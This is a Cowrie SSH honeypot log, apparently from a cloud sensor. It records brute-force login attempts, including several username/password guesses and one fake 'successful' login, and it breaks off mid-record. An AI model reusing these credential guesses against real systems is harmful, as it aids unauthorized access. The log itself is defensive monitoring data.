{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:20:22.197031Z","src_ip":"50.6.248.168","session":"bc5a71212219","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.248.168","src_port":45470,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6d11b5ac743","protocol":"ssh","message":"New connection: 50.6.248.168:45470 (10.17.0.5:22) [session: c6d11b5ac743]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:20:22.203678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:20:22.210470Z","src_ip":"50.6.248.168","session":"c6d11b5ac743","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:20:22.227461Z","src_ip":"50.6.248.168","session":"c6d11b5ac743","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:20:22.334641Z","src_ip":"50.6.248.168","session":"c6d11b5ac743","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:20:23.360489Z","src_ip":"50.6.248.168","session":"c6d11b5ac743","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.248.168","src_port":45478,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f121bc6ae8f","protocol":"ssh","message":"New connection: 50.6.248.168:45478 (10.17.0.5:22) [session: 4f121bc6ae8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:20:23.372675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:20:23.377543Z","src_ip":"50.6.248.168","session":"4f121bc6ae8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:20:23.395175Z","src_ip":"50.6.248.168","session":"4f121bc6ae8f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:20:23.498718Z","src_ip":"50.6.248.168","session":"4f121bc6ae8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:20:23.522547Z","src_ip":"50.6.248.168","session":"bc5a71212219","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:20:23.527061Z","src_ip":"50.6.248.168","session":"4f121bc6ae8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.248.168","src_port":37854,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb4dcf3dac4b","protocol":"ssh","message":"New connection: 50.6.248.168:37854 (10.17.0.5:22) [session: bb4dcf3dac4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:21:12.361690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:21:12.369173Z","src_ip":"50.6.248.168","session":"bb4dcf3dac4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:21:12.386829Z","src_ip":"50.6.248.168","session":"bb4dcf3dac4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"u","message":"login attempt [user/u] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:21:12.484300Z","src_ip":"50.6.248.168","session":"bb4dcf3dac4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:21:13.511765Z","src_ip":"50.6.248.168","session":"bb4dcf3dac4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.103.210","src_port":6824,"dst_ip":"10.17.0.5","dst_port":22,"session":"01164dfab762","protocol":"ssh","message":"New connection: 107.150.103.210:6824 (10.17.0.5:22) [session: 01164dfab762]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:21:21.993692Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:21:21.998322Z","src_ip":"107.150.103.210","session":"01164dfab762","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:21:22.070930Z","src_ip":"107.150.103.210","session":"01164dfab762","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"6666","message":"login attempt [ubuntu/6666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:21:22.386688Z","src_ip":"107.150.103.210","session":"01164dfab762","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:21:23.460431Z","src_ip":"107.150.103.210","session":"01164dfab762","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":33145,"dst_ip":"159.203.135.109","dst_port":22,"session":"c5256a1dc7e0","protocol":"ssh","message":"New connection: 213.209.159.159:33145 (159.203.135.109:22) [session: c5256a1dc7e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:21:37.096070Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:21:37.100797Z","src_ip":"213.209.159.159","session":"c5256a1dc7e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:21:37.182813Z","src_ip":"213.209.159.159","session":"c5256a1dc7e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rayshawn","password":"rayshawn","message":"login attempt [rayshawn/rayshawn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:21:37.582473Z","src_ip":"213.209.159.159","session":"c5256a1dc7e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rayshawn","password":"rayshawn1","message":"login attempt [rayshawn/rayshawn1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:21:38.666537Z","src_ip":"213.209.159.159","session":"c5256a1dc7e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rayshawn","password":"rayshawn123","message":"login attempt [rayshawn/rayshawn123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:21:39.752100Z","src_ip":"213.209.159.159","session":"c5256a1dc7e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rayshawn","password":"rayshawn1234","message":"login attempt [rayshawn/rayshawn1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:21:40.837396Z","src_ip":"213.209.159.159","session":"c5256a1dc7e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rayshawn","password":"rayshawn12345","message":"login attempt [rayshawn/rayshawn12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:21:41.922375Z","src_ip":"213.209.159.159","session":"c5256a1dc7e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:21:43.006931Z","src_ip":"213.209.159.159","session":"c5256a1dc7e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.248.168","src_port":54824,"dst_ip":"10.17.0.5","dst_port":22,"session":"10074755265f","protocol":"ssh","message":"New connection: 50.6.248.168:54824 (10.17.0.5:22) [session: 10074755265f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:22:05.267865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:22:05.273038Z","src_ip":"50.6.248.168","session":"10074755265f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:22:05.297444Z","src_ip":"50.6.248.168","session":"10074755265f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1029384756","message":"login attempt [test/1029384756] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:22:05.408238Z","src_ip":"50.6.248.168","session":"10074755265f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:22:06.431202Z","src_ip":"50.6.248.168","session":"10074755265f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.103.210","src_port":55644,"dst_ip":"10.17.0.5","dst_port":22,"session":"844b1480f5c4","protocol":"ssh","message":"New connection: 107.150.103.210:55644 (10.17.0.5:22) [session: 844b1480f5c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:22:31.816547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:22:31.821347Z","src_ip":"107.150.103.210","session":"844b1480f5c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:22:31.891263Z","src_ip":"107.150.103.210","session":"844b1480f5c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"!QAZ1qaz","message":"login attempt [test/!QAZ1qaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:22:32.203327Z","src_ip":"107.150.103.210","session":"844b1480f5c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:22:33.277146Z","src_ip":"107.150.103.210","session":"844b1480f5c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.248.168","src_port":33724,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3d824f4ec04","protocol":"ssh","message":"New connection: 50.6.248.168:33724 (10.17.0.5:22) [session: f3d824f4ec04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:22:56.456219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:22:56.465255Z","src_ip":"50.6.248.168","session":"f3d824f4ec04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 